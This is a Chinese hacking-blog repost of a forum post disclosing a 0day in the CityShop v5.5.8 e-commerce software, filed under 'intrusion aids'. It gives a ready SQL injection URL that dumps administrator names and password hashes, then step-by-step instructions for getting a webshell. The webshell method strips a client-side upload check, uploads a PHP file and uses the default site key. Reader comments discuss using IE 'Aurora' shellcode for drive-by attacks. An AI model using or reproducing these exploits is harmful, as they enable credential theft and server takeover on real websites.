功能测试
                                                           feedsky 抓虾 google reader 鲜果 QQ邮箱 my yahoo 有道
首页 > 入侵辅助 > 正文

CityShop v5.5.8 0day注入漏洞(附带:后台获取webshell方法)

发布-白银时代 | 查看- | 发表时间-2010-1-17

        来源:http://www.t00ls.net/thread-5608-1-1.html
白大王友情提示:非法入侵会被喊过去吃窝窝头,玩躲猫猫。

文/My5t3ry
昨天看到论坛上有朋友问CitySHOP后台如何拿SHELL,就下了源码回来读了下,发现代码用zend加密了。
解密后读了下,漏洞还真不少,很多参数都是$_GET后就直接带入sql查询,如:

// /section/goods_script.php  10-25行

require_once( "../libs/session.inc.php" );
require_once( "../libs/include.inc.php" );
$conn = DBManager::getconnection( );
$thisid = $_GET['goodsid'];   //注意这里$thisid
$goodsowner = $_GET['goodsowner'];
if ( $_GET['action'] == "hit" )
{
    if ( empty( $_COOKIE["goods".$thisid] ) )
    {
        setcookie( "goods".$thisid, "true", time( ) + $hit_cookie );
        $conn->query( "UPDATE ".$tablepre."goods SET `goodshit`= `goodshit`+1 WHERE goodsid=".$thisid );   //带入sql查询
    }
    $chknum = $conn->query( "SELECT goodshit FROM ".$tablepre."goods WHERE goodsid=".$thisid );  //再次带入sql查询
    $num = $chknum->fetch_assoc( );
    echo "document.write('".$num['goodshit']."');";
}
上面的代码这句$chknum = $conn->query( "SELECT goodshit FROM ".$tablepre."goods WHERE goodsid=".$thisid );
其中的变量$thisid 未经任何过滤就带入sql,而且并没有用单引号引起来,因此gpc也不用考虑了。

  exp:
  1. http://www.t00ls.net/section/goods_script.php?action=hit&goodsid=-1 union select group_concat(adminname,0x7c,adminpwd) from stu_useradmin%23
如图: cityshop.bmp

下面说下后台获取webshell:
   我们看到/lovestu_manage/chk_adv.php的20-54行
if ( $_POST['message'] == "addadv" )
{
    $admation = $_POST['admation'];
    $adchicun = $_POST['adchicun'];
    $adfp = $_FILES['adfp']['name'];
    $adendtime = $_POST['adendtime'];
    $adurl = $_POST['adurl'];
    $adprice = $_POST['adprice'];
    $adtime = date( "Y-m-d H:i:s" );
    if ( !empty( $adfp ) )
    {
        if ( $maxsize < $_FILES['adfp']['size'] )
        {
            mationbox( 2, "上传的文件超过最大限制。", 5, "back" );
        }
        $fpdir = "../upload/adv/";
        if ( !file_exists( $fpdir ) )
        {
            mkdir( $fpdir, 511 );
        }
        $fptype = end( explode( ".", $adfp ) );   //获取文件后缀名
        $fpname = str_replace( "*", "_", $adchicun )."_".time( );
        if ( !file_exists( $fpdir.$fpname ) )
        {
            unlink( $fpdir.$fpname );
        }
        if ( !move_uploaded_file( $_FILES['adfp']['tmp_name'], $fpdir.$fpname.".".$fptype ) )     //保存文件
        {
            mationbox( 0, "上传失败!", 5, "back" );
        }
    }
    $adfpname = $fpname.".".$fptype;
    $insert = $conn->query( "INSERT INTO ".$tablepre."advs (`ad_name`,`ad_fpname`,`ad_time`,`ad_endtime`,`ad_price`,`ad_url`) VALUES ('{$admation}','{$adfpname}','{$adtime}','{$adendtime}','{$adprice}','{$adurl}')" );
    $insert ? mationbox( 1, "广告添加成功。", 2, "love_adv.php" ) : mationbox( 0, "广告添加失败!", 5, "back" );
}
上面的代码获取上传文件的后缀名后就直接保存了,并没有任何过滤,不过在edit_adv.php中却使用javascript本地效验上传文件后缀名,下面给出利用方法:
    登陆后台后,访问/lovestu_manage/edit_adv.php?act=add  (广告管理=>添加广告)
把源代码其中的

修改源代码
  1. <form action="chk_adv.php" method="post" name="advform" enctype="multipart/form-data" onsubmit="return chkadvform()">
复制代码
  1. <form action="chk_adv.php" method="post" name="advform" enctype="multipart/form-data">
复制代码
然后上传php就行了,这里建议使用firefox的firebug插件来修改,当然你也可以直接把javascript禁用或者把源代码保存到本地修改。

ps:后台登陆时需要填网站密匙,默认为LOVESTU,保存在/libs/config.inc.php中,如果修改了的话,mysql权限大点的注入点可以load_file。

feedsky 抓虾 google reader 鲜果 QQ邮箱 my yahoo 有道

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

伏少雄 先抢到沙发,再慢慢研究
白银时代 于 2010-1-18 18:35:02 回复
我这儿沙发没人抢,很多人看不懂
quote 2. dev
dev 今天抓个极光shellcode IE6下不弹不卡 IE7没成功!
白银时代 于 2010-1-21 12:06:44 回复
IE6肯定没问题,IE7也可以,IE8如果有DEP就没戏了
但是vista sp0和XP sp2默认是没有DEP保护的,所以就算你用的是最新版IE8,你也一样挂.
最新文章
最近评论
访客留言
管理     | 主题由 SéɑńしΟΟ设计完成。 GHD|wedding dresses
本程序由ΖβしΟɡ搭建。